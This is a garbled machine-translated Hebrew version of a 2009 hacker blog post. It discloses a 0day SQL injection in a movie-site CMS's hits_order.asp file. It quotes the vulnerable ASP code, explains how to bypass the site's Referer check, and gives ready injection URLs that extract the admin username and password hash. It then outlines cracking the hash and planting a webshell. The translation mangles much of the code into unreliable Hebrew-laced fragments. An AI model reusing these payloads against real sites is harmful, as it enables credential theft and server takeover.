עין ימים הסרט מערכת 0day-0day, hits_order.asp, הזרקת העין ימים מערכת קולנוע,-st0p הבלוג

עין יום מערכת קולנוע 0day

הפוסט הזה נכתב ב 25 אוקטובר 2009

: St0p & My5t3ry
לשכפל, נא לציין את המקור http://www.st0p.org

אה, My5t3ry לבוא עם חור, פנה למנהל הרשמי, כבר לא שמה לב אלי.

ראשית, הרשה לי להזריק את הבעיה

פירצה קובץ / p_inc / hits_order.asp

  <- # Include קובץ = ".. / P_inc / config.asp" ->
 <- # Include קובץ = ".. / P_inc / function.asp" ->
 <- # Include קובץ = ".. / P_inc / function_func.asp" ->
 <- # Include קובץ = ".. / P_inc / openconn.asp" ->
 <- # Include קובץ = ".. / P_inc / G_function.asp" ->
 <%
 Then אם לא ChkPost () אחר
	 G_error_page_1 בתגובה. הפניה G_error_page_1
	 ( ) סוף תגובה ()
 אנד אם
 "התקשר ChkPost / p_inc / function.asp הקובץ () function כדי לזהות כתובת אתר המקור
 url,numb ) פונקציה G_hitss (URL, קהה)
	 Dim str
	 str = ""
	 & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" SQL = "למעלה בחר" & תחושה & "id, m_name, m_pic, m_hits, m_content מ qingtiandy_movie שם m_look = 1 סדר לפי m_hits יורד, id desc"
             "ראיתי את זה לא תחושה, לא לסנן
	 server . CreateObject ( G_RS ) סט RS = שרת. CreateObject (G_RS)
	 , 1 RS. פתוח SQL, conn, 1, 1
	 i = 1
	 האם אמנם לא RS. EOF 
		 Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", RS (0), כתובת האתר))
		 "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演：" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = str & "class=kkk1_list> <div <a class=bbb href=" & d_url &" title='主演:" & RS (2) & "'>" & Get_length (RS (1), "", 32) & "</ a> (" & rs (3) & ") </ p>
		 i = i + 1
		 RS. movenext
	 לולאה
	 G_hitss str =
 סוף פונקציה
 %>
 G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (בקשה (" כתובת "), בקשה (" רדום "))%>")
 "כאן תחושה המסנן

שימוש בשיטות כמו
1, אתה יכול להשתמש ישירות Referer תוכנה מזויפת, בקר בכתובת הבאה כדי להשיג
דרך XMLHTTP מזויפים Referer, בקר יישום הכתובת הבאה
3, על ידי JS JavaScript כדי לשלוט על כתובת המקור

  ( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. המסמך לכתוב (<a href='/p_inc/hits_order.asp?numb=1 (select str_username מ tbl_admin) כמו username,(select str_pass מ tbl_admin) כמו מדע בדיוני pass,'> </ a> ") ;

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (str_username בחר מתוך tbl_admin) כמו שם משתמש, (str_pass בחר מתוך tbl_admin) ככל שחולפות,

הערה: לקפוץ מעל Referer איתור יכולה להיות דרך POST, GET, קוקי של מגוון רחב של דרכים כדי להשיג מוזרק. . .

הגישה הבאה, שם משתמש מנהל ב-URL של הקישור, Hash הסיסמה מוצג ישירות החוצה. .

לפצח את הסיסמה כי Hash ברקע ניתן ישירות לערוך את קובץ ה-ASP, לתוך הרקע ולקחת קו SHELL.

הליך זה, יש פרצות אחרות. כאן לא נעשה. .